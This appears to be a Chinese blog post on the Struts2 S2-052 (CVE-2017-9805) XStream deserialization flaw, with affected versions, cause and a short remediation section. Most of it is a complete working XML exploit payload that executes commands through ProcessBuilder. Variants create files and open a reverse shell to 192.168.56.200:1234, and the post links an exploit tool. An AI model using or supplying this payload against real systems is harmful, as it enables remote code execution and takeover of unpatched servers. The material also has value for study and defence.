S2-052 CVE-2017-9805 远程代码执行
2023-04-18 12:27:26 时间
漏洞名称
S2-052 CVE-2017-9805 远程代码执行
利用条件
Struts 2.1.6 - Struts 2.3.33
Struts 2.5 - Struts 2.5.12
漏洞原理
Struts2 REST插件的XStream组件存在反序列化漏洞,使用XStream组件对XML格式的数据包进行反序列化操作时,未对数据内容进行有效验证,存在安全隐患,可被远程攻击。
由于rest-plugin会根据URI扩展名或Content-Type来判断解析方法,所以我们只需要修改orders.xhtml为orders.xml或修改Content-Type头为application/xml,即可在Body中传递XML数据。
漏洞利用
命令执行
poc
注意一 替换 Content-Type头的内容字段为application/xml
注意二 增加xml字段内容
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>touch</string>
<string>/tmp/test.txt</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next>foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer/>
<done>false</done>
<ostart>0</ostart>
<ofinish>0</ofinish>
<closed>false</closed>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
</entry>
<entry>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>
<command><string>你要执行的代码</string></command>
创建文件
<command>
<string>touch</string>
<string>/tmp/test.txt</string>
</command>
写入内容到文件
<string>bash</string>
<string>-c</string>
<string>echo xiaoxin > /tmp/test.txt</string>
反弹shell
<command>
<string>bash</string>
<string>-c</string>
<string>bash -i >& /dev/tcp/192.168.56.200/1234 0>&1</string>
</command>
工具反弹shell
https://github.com/Vancir/s2-052-reproducing
更改exploit.py中的url地址
修复建议
struts2.5.13中,按照xstream给出的缓解措施( http://x-stream.github.io/security.html ),增加了反序列化时的白名单:
protected void addDefaultPermissions(ActionInvocation invocation, XStream stream) {
stream.addPermission(new ExplicitTypePermission(new Class[]{invocation.getAction().getClass()}));
if (invocation.getAction() instanceof ModelDriven) {
stream.addPermission(new ExplicitTypePermission(new Class[]{((ModelDriven) invocation.getAction()).getModel().getClass()}));
}
stream.addPermission(NullPermission.NULL);
stream.addPermission(PrimitiveTypePermission.PRIMITIVES);
stream.addPermission(ArrayTypePermission.ARRAYS);
stream.addPermission(CollectionTypePermission.COLLECTIONS);
stream.addPermission(new ExplicitTypePermission(new Class[]{Date.class}));
}
但此时可能会影响以前代码的业务逻辑,所以谨慎升级,也没有特别好的办法,就是逐一排除老代码,去掉不在白名单中的类。
参考文章
https://github.com/Vancir/s2-052-reproducing
https://blog.csdn.net/weixin_41082546/article/details/102212059
相关文章
- Python人工智能 | 七.TensorFlow实现分类学习及MNIST手写体识别案例
- Python人工智能 | 八.什么是过拟合及dropout解决神经网络过拟合
- Python人工智能 | 九.卷积神经网络CNN原理详解及TensorFlow编写CNN
- Python人工智能 | 十.Tensorflow+Opencv实现CNN自定义图像分类案例及与KNN对比
- TIOBE 3月榜单:Python牢据榜首、Lua重返前20
- Python人工智能 | 十一.Tensorflow如何保存神经网络参数
- 原创丨Python 中怎么来实现类似 Cache 的功能?
- 2种python列表的构造方法
- python添加列表元素使用什么方法
- python删除列表元素的所有常见方法(大全)
- python修改列表元素的方法有哪些
- python查找列表元素位置、个数、索引的方法(大全)
- Python中列表排序sort()和reverse()用法
- python比较列表中元素大小和列表中元素的判定
- 使用pytorch和卷积实现stft/istft
- python与分形0012 - 【教程】旋转的彩色N边形(圆盘)
- python与分形0011 - 【教程】带辐条的多边形
- Python 登录小程序
- Python读取文件后进行词频统计
- 【Rust日报】2021-11-29 Python中调用 Rust